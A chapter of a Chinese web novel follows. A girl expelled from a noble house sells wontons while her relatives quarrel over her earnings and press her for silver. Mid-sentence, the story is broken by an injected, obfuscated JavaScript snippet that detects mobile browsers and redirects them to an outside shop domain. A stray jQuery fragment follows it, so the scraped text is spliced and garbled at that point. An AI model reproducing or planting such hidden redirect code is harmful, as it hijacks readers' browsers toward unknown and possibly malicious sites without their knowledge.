铜钱滚了一桌,叮当作响。
几人怔愣。
他们没想到秦芜今儿真的把馄饨都卖完了。
前两天可是……一碗都没卖出去。
秦卓到了嘴边的冷嘲又咽了回去,梗着脖子哼了一声。赵氏横他一眼,忙伸手把铜钱拢回荷包里,按得紧紧的。
“快收起来。”她抬头看向秦芜,眉眼软下来,“饿不饿?娘去灶上给你热点吃的。”
“娘真偏心,刚刚我说饿,娘只说让我忍着。”秦珠噘着嘴嘟囔。
“你个丫头片子。”赵氏戳了戳她额头,又笑了,“行行行,一起做。说吧,都想吃什么?”
“阿芜,你这钱该给你奶……”
秦三郎话还没说完,被赵氏狠狠踩了一脚,“为什么要给娘?”
“慧娘,咱们还没分家,收益应该给娘一半。”
这是老秦家的规矩,但真正守这规矩的只她这个傻子爹。
她大伯是家里既得利益者,不要钱都算好的,哪儿给过家里钱。
她二伯是懂得为自己打算的,赚的钱藏一些给一些,考虑完自己小家才会考虑大家。
“给家里一半?阿芜摆摊的钱家里可没出一分。前两天他们是怎么笑话阿芜的?”
不止没给秦芜钱,自打她回到秦家,喝的水,吃的粮食,住的房都问她要钱。在知道秦芜想要摆摊时,更是变着花样想从她手里捞钱。
“慧娘,话不能这么说。爹娘养我们一场……”
“他们养你,就不心疼你?”赵氏打断他,眼圈微微发红,“年初你从房梁摔下来,腿肿得跟柱子似的,你爹你娘是怎么骂的?骂你没用,耽误了地里的活!”
她嫁过来时也是个软性子,这些年被偏心的公婆、拎不清的丈夫磨得不得不硬起心肠。两个儿子都到了说亲的年纪,家里穷得叮当响,她男人倒好,一门心思贴补大哥家。
“可……总不能不孝……”秦三郎眉头拧成一团,底气越来越不足。
“爹,”秦芜开口,语气平静,“娘不是不让你孝顺爷奶,只是凡事得有个度。你总顾着大伯家,我们兄妹四个怎么办?大哥二哥的亲事,妹妹的嫁妆,都不用想了?”
这话本不该她一个刚回家的女儿说,可抬眼看看,大哥秦凡木讷着脸,只会跟着点头。二哥秦卓眼神游移,不知在打什么主意。小妹秦珠睁着眼睛,只会傻看。也就她娘,还能撑着这个小家。
“阿芜说得对。”赵氏立刻接话,“老大老二眼看就要娶媳妇,你心里就没个数?”
秦三郎被说得哑口无言,半晌才闷声道:“好好好,不交。儿子们的亲事,我也在想法子。等地里活忙完,我带他们去城里扛包,总能攒点钱。”
赵氏脸色这才缓过来,嗯了一声。
“弟妹该做饭了。”院里传来大伯娘一声唤。
赵氏应了一声,拽着秦珠往灶房走。
“娘,怎么不让三姐帮着烧火……”
“让你三姐歇着。”
母女俩的声音渐渐远了。秦三郎叹口气,带着两个儿子也出了院子。
看着他们离开的背影,秦芜心底叹,她刚刚没说出的是,她还想分家。
可她知道,还不到时候。即便是她娘都还没有分家的打算。
晚饭赵氏做的是红薯粥配野菜炒豆腐、小葱拌豆腐、炖豆腐。
一桌豆腐宴。
秦芜吃了两口菜就不吃了,单纯喝红薯粥还有些滋味,配上这些菜其中滋味……一言难尽。
“老三家的。”
一大家子挤在堂屋吃,大人一桌,小辈一桌。吃到一半,秦老头忽然放下碗筷,看向秦芜这边。
“老三家的,”他咳了一声,“你那馄饨摊,今日怎么样了?”
话音落下,一屋子人都静了,十几道目光齐刷刷落在秦芜身上。大房二房的人神色各异,秦三郎的心瞬间提了起来,刚要开口,胳膊就被赵氏拧了一下。
“怎么,还没卖出去?”秦老头见秦芜不说话,脸先沉了。
“爷,你就别为难她了,她做的馄饨谁敢买。”说话的是秦大郎家的老大秦和安。
不同于秦三郎和赵氏四个孩子。
秦大郎家就秦和安这根独苗,早被送到书院念书,平常家里的事根本不管。
秦和安继续道:“爷奶还不知道吧,她被侯府赶出来就是因为在井里下毒,这事儿京里传遍了,谁不要命吃她卖的东西。”
他这话落下,秦家人惊。
“和安,这话当真?”秦二郎放下碗追问。
“二伯进城打听打听就知道了,爷奶能留她在咱们秦家,真是爷奶仁慈,萧大人和她和离也是因为她下毒,害得萧大人至今无子。”
“我的娘哎!今早还是我喊她一起烧的早饭!”大伯娘一拍大腿,脸都白了。
“娘——”
“够了!”
秦老头猛地一拍桌子,碗碟都震了震。他指着秦三郎,脸色铁青:“老三,人是你们两口子非要接回来的。你说,侯府和萧家的事,到底是真是假?”
最后一句话,是冲着秦芜说的,眼神里满是嫌恶。
“爹,这事肯定是假的,阿芜这么懂事,怎么可能做出来这种事?”赵氏蹙眉。
这些疯言疯语她去接秦芜时不是没有听到,起初她也疑心,可在把秦芜接回家后,她便打消了这念头。
指定是侯府和萧府不想留人又不想担坏名声,把脏水全泼阿芜身上了。
“我问的是老三,不是你。”
秦老头狠狠瞪了赵氏一眼,“当初就是你听说她被赶出来,非要把她接回家,你是不是早就知道这件事,故意瞒着家里,非要给家里请回个祸害?!”
“爹……这不关慧娘的事……”
秦三郎话还没说完,秦老头的拐杖已经打到他腿上,“你真是娶了个好媳妇。”
“爷说这些是想做什么。”
秦芜静静看着这场闹剧。
秦和安就在盛京念书,知道原身做的那些事不奇怪,奇怪的是为什么先前不说,现在说。
“你什么态度?”秦老头勃然大怒,“做了十几年侯府千金,就敢跟你爷爷这么说话了?”
“三妹,快给爷赔个不是。”秦凡小声劝道,“大哥知道你是被冤枉,就当让着爷。”
秦芜无奈。
她这傻大哥还没看出。
爷孙俩打配合问她要钱呢,从她回到秦家,这一招他们没用过五次也用过四次了。
正如秦芜预料。
秦老头喘了口气,摆出了正题:“既然馄饨卖不动,你也别去抛头露面了。你大伯给和安找了位举人教习,要十两拜师礼。这钱,你出了吧。”
秦芜心里冷笑。
十两银子,张口就来。侯府给的一百两谢银全贴补了大房,如今还想从她身上刮。
“我没钱。”她淡淡道。
“爹,这和安不是有老师吗?怎么大哥又给他……”秦三郎试图为秦芜说话。
“你懂什么。”秦老头打断他:“和安明年就要下场科考,你大哥给他请的这位老师可是举人。拜他为师,利于科考。等和安中了秀才,咱们老秦家就出头了,还能少了你们的好处?”
又是这套话。秦芜听得乏味。看秦大郎那副德行,秦和安真中了秀才,也未必能想起他们三房。
“拜师礼该大伯出,怎么算到阿芜头上?”赵氏忍不住开口,“先前侯府给的一百两,不都给大哥了吗?”
“妇人之见!”秦老头斜睨着她,“老三,管管你媳妇!”
“爹,我觉得慧娘说得没错……”
“反了你了!”秦老头扬起拐杖又要打,屋里一阵乱。
“好了,闹什么闹。”一直没说话的秦老太放下碗筷。声音不大,却比秦老头的呵斥管用。堂屋瞬间静了下来。
和村里别家不同,秦家真正当家做主的是秦老太。
最初秦芜也有些惊讶,没想到她爷这样的人,会是个怕媳妇的。
“吃饭时间好好吃饭,别的事等吃完再说。”秦老太淡淡,“老三都多大了?孩子都四个了,还一直打他?”
她这话一出,秦老头悻悻地收了拐杖。
秦和安有些怨言,被秦老太瞥了一眼后,默默端起碗吃饭。
一直等吃完饭,秦家都没人再出声。
饭后,秦芜被喊秦老太喊走。赵氏想陪着,秦老太打发她去刷碗了。
“奶,我手里真的没钱了。”
“奶喊你不是为了这事。”秦老太让秦芜在她身边坐下,“先前清绾来,同我们讲这月十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815392|211036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
七号是秦府老太太生辰,我想着秦府养了你这么些年,于情于理你都该去看看。”
她拍了拍秦芜的手背,语气带着几分循循善诱:“奶知道你手头紧。可你想啊,和安若能中了秀才,你大哥二哥说亲容易,连你将来也好找人家。十两银子对咱们家是天大的数,对侯府算什么?你回去一趟,跟老太太撒撒娇,什么都有了。”
秦芜不动声色地抽回手。
“奶,堂哥说的那些事是真的。侯府若待见我,也不会把我赶出来。老太太生辰宴,我去了反倒惹大家不痛快。真要银子,不如找清绾妹妹,她是侯府嫡女,一个月月银总有十两。”
秦老太沉默片刻,缓缓道:“清绾到底不是咱们家人,你跟侯府总归有十几年情分……我就不信,他们真能做得那么绝。”
“不然,他们为什么把我赶出来?”秦芜平静地反问。
秦老太看着她,半晌没说话。
洪村另一头,张大勇家却是暖融融的。
中午秦芜听说了张大勇晚上才能到家,特意给打包的生馄饨,连汤料都配好了。徐氏本还埋怨丈夫乱花钱,等馄饨下锅,香气飘满了半间屋,她就说不出埋怨的话了。
一口咬下去,真的要鲜掉眉毛了。她从没想过,一碗馄饨都能这么好吃。
总共二十多个馄饨,吃了两个,她就停了。
“娘,你怎么不吃了?”
“你们吃,娘吃不惯这馄饨。”徐氏笑着把馄饨往三个孩子和张大勇面前推了推,“张哥,你也吃几个。”
“你们吃吧,我中午吃过了。”
张大勇不信徐氏的话,这么好吃的馄饨,哪里有吃不惯的说法?
他拿来四个碗,把馄饨分作四份。
“明儿我多买些,别的吃不起,这馄饨咱们还是吃得起的。”
“爹也吃。”三个孩子懂事,各自从碗里舀了一个馄饨放在大碗里,徐氏往里面放了两个,“一起吃。”
“好,咱们一家一起吃。”
-
秦芜从秦老太屋里出来,赵氏正等在门口,一脸担忧。
“阿芜,你奶她……”
“没事,娘。”秦芜摇摇头,帮着收拾完碗筷,就回了自己屋。
明天还要早起摆摊,得养足精神。
一夜无话。
翌日辰正,秦芜推着车到摊位,远远就看到沈云韶了。
女人这会儿就占着她摆摊的地方。
身前摆着桌子,上面放着点心和茶水,两个丫鬟捧着手炉和香薰炉,一左一右伺候着。
随着她推车靠近,沈云韶美眸抬起。
“你来了。”
女人声音懒洋洋,一双杏眸快速敛过几分得意。
她倒要看看,今天秦芜怎么摆摊,馄饨做的好吃又能怎样。
“嗯。”
对方心思太过明显,简直一眼就能看到底,秦芜面上浮现几分无奈。
没有和沈云韶争执,她默默把推车停在沈云韶不远处。
她寻的这地儿,周遭如她这样的商贩不多。
这里靠近码头,寻常多是些做力气活的客人,卖饼和馒头这种便宜又扛饿的吃食居多。
当初秦芜选这儿,只是为了少交个摊铺费。
且她也怕原身的名声,太难卖出去吃食!
利落停好推车,秦芜开始搬桌椅板凳,她旁边沈云韶面色凝了凝,“秦芜,你今儿怎么不在这里摆摊了?”
“你不是占着吗。”
“你求我,我就起来。”沈云韶抬着下巴,语气骄矜。
秦芜心里觉得好笑。难怪原身从前总赢她,这点手段,也太浅了。
她没接话,把东西都摆置妥当,才回头问:“沈小姐今日吃馄饨吗?”
“你做的馄饨那么难吃,谁要吃。”
沈云韶瞪了秦芜一眼,话锋却又是一转,“不过你若跪下来求我,我倒是可以买几碗,权当赏你口饭吃,省得你一文钱都赚不到。”
然她这话才落,一人跑到秦芜摊前,正是昨日替秦芜说话的祁青。
“小娘子可算来了,”他语气里带着几分急切,“我家公子昨日吃过便记挂着,特意让我再来打包四份生的带回去。昨日剩的那点,府里两位小少爷小姑娘抢着吃,差点拌起嘴来。”